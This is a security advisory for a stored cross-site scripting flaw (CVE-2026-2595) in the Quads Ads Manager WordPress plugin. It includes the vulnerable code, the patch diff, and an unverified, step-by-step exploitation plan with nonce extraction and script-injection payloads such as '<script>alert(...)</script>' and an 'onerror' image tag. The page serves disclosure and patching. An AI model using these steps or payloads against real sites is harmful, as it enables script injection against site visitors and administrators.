CVE-2026-2595

Quads Ads Manager for Google AdSense <= 2.0.98.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple Ad Metadata Parameters

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
2.0.99
Patched in
1d
Time to patch

Description

The Quads Ads Manager for Google AdSense plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.0.98.1 due to insufficient input sanitization and output escaping of multiple ad metadata parameters. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.98.1
PublishedMarch 27, 2026
Last updatedMarch 28, 2026
Affected pluginquick-adsense-reloaded

What Changed in the Fix

Changes introduced in v2.0.99

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation strategy for CVE-2026-2595, a Stored Cross-Site Scripting (XSS) vulnerability in the Quads Ads Manager plugin. ### 1. Vulnerability Summary The Quads Ads Manager plugin (slug: `quick-adsense-reloaded`) is vulnerable to Stored XSS because it fails to …

Show full research plan

This plan outlines the research and exploitation strategy for CVE-2026-2595, a Stored Cross-Site Scripting (XSS) vulnerability in the Quads Ads Manager plugin.

1. Vulnerability Summary

The Quads Ads Manager plugin (slug: quick-adsense-reloaded) is vulnerable to Stored XSS because it fails to sanitize and escape multiple ad-related metadata parameters. Specifically, the function quads_sanitize_post_meta() in admin/includes/common-functions.php explicitly bypasses sanitization for several keys, using only wp_unslash(). When these parameters (such as the ad code) are later rendered on the frontend or in the admin dashboard, arbitrary scripts can be executed.

2. Attack Vector Analysis

  • Vulnerable Endpoint: WordPress REST API or AJAX handlers used to save quads-ads Custom Post Type (CPT) metadata.
  • Vulnerable Parameters: visibility_include, visibility_exclude, targeting_include, targeting_exclude, code, random_ads_list, and ads_list.
  • Authentication Level: Contributor or above. Contributors can typically create and edit their own posts of allowed types.
  • Preconditions: The quads-ads CPT must be editable by the attacker.

3. Code Flow

  1. Entry Point: An authenticated user (Contributor+) sends a request to save or update a quads-ads post.
  2. Processing: The plugin processes the post metadata. In admin/includes/common-functions.php, the quads_sanitize_post_meta function is called:
    function quads_sanitize_post_meta($key, $meta){
        switch ($key) {
          case 'visibility_include':
          case 'visibility_exclude':
          case 'targeting_include':
          case 'targeting_exclude':
          case 'code':           // <--- Vulnerable: Ad Code
          case 'random_ads_list':
          case 'ads_list':
            $response = wp_unslash($meta); // No sanitization
            break;
          default:
            $response = sanitize_text_field(wp_unslash($meta));
            break;
        }
        return $response;
    }
    
  3. Storage: The unsanitized input is stored in the postmeta table. Additionally, QUADS_Ad_Migration::quadsUpdateOldAd (in admin/includes/migration-service.php) may sync this data into the global quads_settings option.
  4. Sink: The stored code (intended for AdSense scripts) is retrieved and echoed on the frontend via a shortcode or automatic ad placement without escaping.

4. Nonce Acquisition Strategy

The plugin uses a nonce named quads_ajax_nonce for AJAX and likely standard REST cookies for API calls. To extract the required nonce:

  1. Identify Trigger: The quads-ads management UI enqueues admin/assets/js/dist/adminscript.js.
  2. Setup Page: Create a page with a Quads shortcode to ensure scripts are enqueued.
    • wp post create --post_type=page --post_status=publish --post_content='[quads id="1"]'
  3. Extract: Navigate to the page or the admin dashboard as the Contributor.
  4. Variable Name: Based on standard naming conventions and the bundle structure, look for quads_ad_obj or quads_vars.
    • browser_eval("window.quads_ad_obj?.ajax_nonce") (inferred)
    • Alternatively, check for the nonce in the admin head: browser_eval("document.querySelector('#quads_ajax_nonce')?.value")

5. Exploitation Strategy

We will attempt to update the metadata of a quads-ads post via the REST API or the plugin's custom save action.

Step 1: Identify an Ad ID

  • List existing ads: wp post list --post_type=quads-ads
  • If none exist, create one: wp post create --post_type=quads-ads --post_title="XSS Ad" --post_status=publish

Step 2: Update Metadata (The Exploit)
Use http_request to send a POST request to the update endpoint. We will target the code parameter.

  • URL: /wp-json/wp/v2/quads-ads/{id} (Standard REST) or /wp-admin/admin-ajax.php
  • Action (if AJAX): quads_save_ad_settings (inferred)
  • Payload:
    {
      "meta": {
        "code": "<script>alert('XSS_SUCCESS_CVE_2026_2595')</script>",
        "visibility_include": "all"
      }
    }
    
  • Headers: Content-Type: application/json, X-WP-Nonce: [extracted_nonce]

Step 3: Trigger Execution
Visit the frontend page where the ad is assigned or use a shortcode:

  • GET /?p=[page_with_ad_id]

6. Test Data Setup

  1. User: wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Ad: wp post create --post_type=quads-ads --post_title="Vulnerable Ad" --post_status=publish --post_author=[attacker_id] (Note: Ensure the post ID is captured, e.g., 123).
  3. Display Page: wp post create --post_type=page --post_title="Ad Display" --post_content='[quads id="123"]' --post_status=publish

7. Expected Results

  • The http_request should return a 200 OK.
  • Navigating to the display page in the browser should trigger a JavaScript alert with the string XSS_SUCCESS_CVE_2026_2595.
  • The raw source of the page should contain the unescaped <script> tag within the ad container.

8. Verification Steps (Post-Exploit)

  • Database Check: wp post meta get [ad_id] code
    • Expected: <script>alert('XSS_SUCCESS_CVE_2026_2595')</script>
  • Global Settings Check: wp option get quads_settings
    • Check if the payload has propagated to the serialized settings array.

9. Alternative Approaches

If the standard REST API is restricted:

  1. AJAX Path: Look for the quads_save_ad action in admin/assets/js/dist/adminscript.js.
  2. Migration Sink: If direct editing of quads-ads is blocked for Contributors, check if the "Migration" settings in the dashboard (if accessible) allow importing raw JSON data containing the payload.
  3. Parameter Variation: If code is blocked by a WAF, use visibility_include with a payload like "><img src=x onerror=alert(1)>.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Quads Ads Manager plugin is vulnerable to Stored Cross-Site Scripting (XSS) via multiple ad metadata parameters in versions up to 2.0.98.1. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript into ad settings, which executes in the context of any user viewing the ad on the frontend or admin dashboard.

Vulnerable Code

// admin/includes/common-functions.php:5
function quads_sanitize_post_meta($key, $meta){

    $response = null;

    switch ($key) {

      case 'visibility_include':
      case 'visibility_exclude':
			$response = wp_unslash($meta);         
        break;

		case 'targeting_include':
		case 'targeting_exclude':
        $response = wp_unslash($meta);          
		break;
		case 'code':
			$response = wp_unslash($meta);
		break;
    case 'random_ads_list':
			$response = wp_unslash($meta); 
		break; 
		case 'ads_list':
			$response = wp_unslash($meta);          
		break;
      default:
        $response = sanitize_text_field(wp_unslash($meta));
        break;
    }

    return $response;
    
  }

Security Fix

--- admin/includes/common-functions.php
+++ admin/includes/common-functions.php
@@ -10,19 +10,19 @@
 
       case 'visibility_include':
       case 'visibility_exclude':
-			$response = wp_unslash($meta);         
+            $response = map_deep(wp_unslash($meta), 'sanitize_text_field');
         break;
 
 		case 'targeting_include':
 		case 'targeting_exclude':
-        $response = wp_unslash($meta);          
+        $response = map_deep(wp_unslash($meta), 'sanitize_text_field');
 		break;
 		case 'code':
-			$response = wp_unslash($meta);
+			$response = wp_kses_post(wp_unslash($meta));
 		break;
     case 'random_ads_list':
-			$response = wp_unslash($meta); 
+			$response = map_deep(wp_unslash($meta), 'sanitize_text_field');
 		break; 
 		case 'ads_list':
-			$response = wp_unslash($meta);          
+			$response = map_deep(wp_unslash($meta), 'sanitize_text_field');
 		break;

Exploit Outline

The vulnerability is exploited by an authenticated attacker (minimum Contributor role) who can modify or create 'quads-ads' custom post types. The attacker sends a request to save ad metadata via the WordPress REST API or an AJAX handler. By including a malicious payload in parameters like 'code', 'visibility_include', or 'ads_list', the attacker bypasses the plugin's insufficient sanitization logic in `quads_sanitize_post_meta()`. The payload is stored in the database and subsequently executed when a site administrator or visitor views the injected ad (e.g., via the [quads] shortcode or automatic placement) because the plugin fails to escape the output.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.